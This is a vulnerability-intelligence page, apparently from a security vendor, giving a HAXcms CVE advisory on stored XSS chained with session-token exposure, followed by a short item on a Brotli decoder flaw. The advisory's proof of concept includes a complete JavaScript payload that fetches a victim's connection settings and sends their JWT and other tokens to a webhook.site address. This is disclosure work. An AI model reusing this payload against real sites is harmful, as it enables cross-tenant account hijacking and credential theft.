New MCP server — Bring vulnerability intelligence into your AI
Back to feed

CVE-2026-46511

NVDCIRCLENISA

EUVD-2026-34890 · Published May 19, 2026

HAXcms: Mass Token Exfiltration and Cross-Tenant Hijack

Summary

An attack chain utilizing Stored XSS alongside dynamic token exposure in the /system/api/connectionSettings endpoint allows an authenticated attacker to perform a complete cross-tenant account takeover. The API dynamically leaks the active session's authentication tokens (including the jwt, user_token, site_token, and appstore_token) into a global JavaScript variable (window.appSettings). An attacker can exploit the XSS vulnerability to force a victim's browser to silently fetch their specific connection settings, extract the tokens, and exfiltrate them to an attacker-controlled webhook.

Details

In Operations.php (connectionSettings()), the system returns a Javascript object designed to bootstrap the frontend context. This object, window.appSettings, acts as a "skeleton key" because it aggregates all necessary operational tokens for the active session.

While HAXcms correctly relies on the cryptographically signed JWT for backend authentication (preventing Direct Object Reference/IDOR attempts), the CMS fails to secure the tokens themselves. Specifically:

  1. The Vector: The system is vulnerable to Stored XSS (e.g., via injected iframe srcdoc or <video-player>).
  2. The Exposure: Because the connectionSettings endpoint serves the tokens locally based on the active PHPSESSID cookie, any malicious script running in the browser context can intercept these keys.
  3. The Chain: HAXcms isolates user environments by URL path (/<username>/). An attacker can use XSS to force the victim's browser to fetch their target username's specific settings via fetch('/<username>/system/api/connectionSettings'). Since the browser implicitly attaches the victim's session cookie, the server authenticates the request and returns the victim's valid JWT and tokens.
PoC

1. Setup the Webhook Target
Prepare an external webhook (e.g., webhook.site) to receive the stolen data.

2. Inject the "Kill Chain" Payload
As an authenticated attacker (e.g., having edit access to any site), inject the following Javascript via the verified Stored XSS vectors (such as checking the HTML Source of a page and writing an <iframe>):

<iframe srcdoc="<script>
    const targetUsername = 'bto108'; // Replace with target victim

    fetch(`/${targetUsername}/system/api/connectionSettings`)
      .then(res => res.text())
      .then(data => {
          const s = JSON.parse(data.substring(data.indexOf('{'), data.lastIndexOf('}') + 1));
          
          const uToken = new URL(document.location.origin + s.getUserDataPath).searchParams.get('user_token');
          const sToken = new URL(document.location.origin + s.saveNodePath).searchParams.get('site_token');
          
          let aToken = 'N/A';
          if (s.appStore && s.appStore.params && s.appStore.params.appstore_token) {
              aToken = s.appStore.params.appstore_token;
          }

          // Exfiltrate via Image Request to bypass CORS
          const payload = btoa(JSON.stringify({
              target: targetUsername, 
              jwt: s.jwt, 
              user_token: uToken, 
              site_token: sToken, 
              appstore_token: aToken
          }));
          
          new Image().src = `https://webhook.site/YOUR-WEBHOOK-ID?data=${payload}`;
      });
</script>" style="display:none"></iframe>

3. Execution & Verification

  • When the victim (e.g., user bto108) views the compromised page, their browser automatically fires the fetch request, silently attaching their active session cookie.
  • The server responds with their connection settings.
  • The script parses their jwt, user_token, and other keys, encoding them in base64.
  • The attacker receives the full JWT and token dump on their webhook.

Screenshots confirming the data leakage and webhook capture:
Connection Settings Exposure
Secondary Settings Leak
Cross-tenant Exfiltration Console
Webhook Payload Capture
Stolen Data Result

Impact

Critical Severity.
This attack completely compromises the primary defense mechanism of the CMS. By stealing the jwt and user_token, the attacker achieves total account hijacking without needing the victim's password. They can emulate the victim perfectly, bypassing standard interface restrictions to perform malicious administrative actions (creating/deleting sites, modifying user access, or uploading malicious content).

The reliance on a global Javascript variable (window.appSettings) to store long-lived administrative security tokens creates a devastating chokepoint when combined with XSS.

Technologies

Haxtheweb Haxcms-Nodejs

Weaknesses

CWE-79CWE-922CWE-522

MITRE ATT&CK

Inferred

Where this vulnerability fits in an attack

Initial Access

References

Potentially impacted assets

See if this affects your attack surface

Latest trending attack

Criticalyesterday

Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)

This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it. Why a second control CVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli ("br") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution. Any server that decompresses request bodies sent with "Content-Encoding: br" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library. The flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support. What this control checks Patrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service. How to read the result Potentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside. This check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification. Affected and fixed versions Google Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution. Recommendations Update every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library. Reduce the exposure until the update is deployed. Reject requests with "Content-Encoding: br" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as "gzip, br". On Envoy and Istio, disable request decompression for Brotli. Review outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.

Take 15 minutes to discover our platform with our experts

Patrowl Intel platform screenshot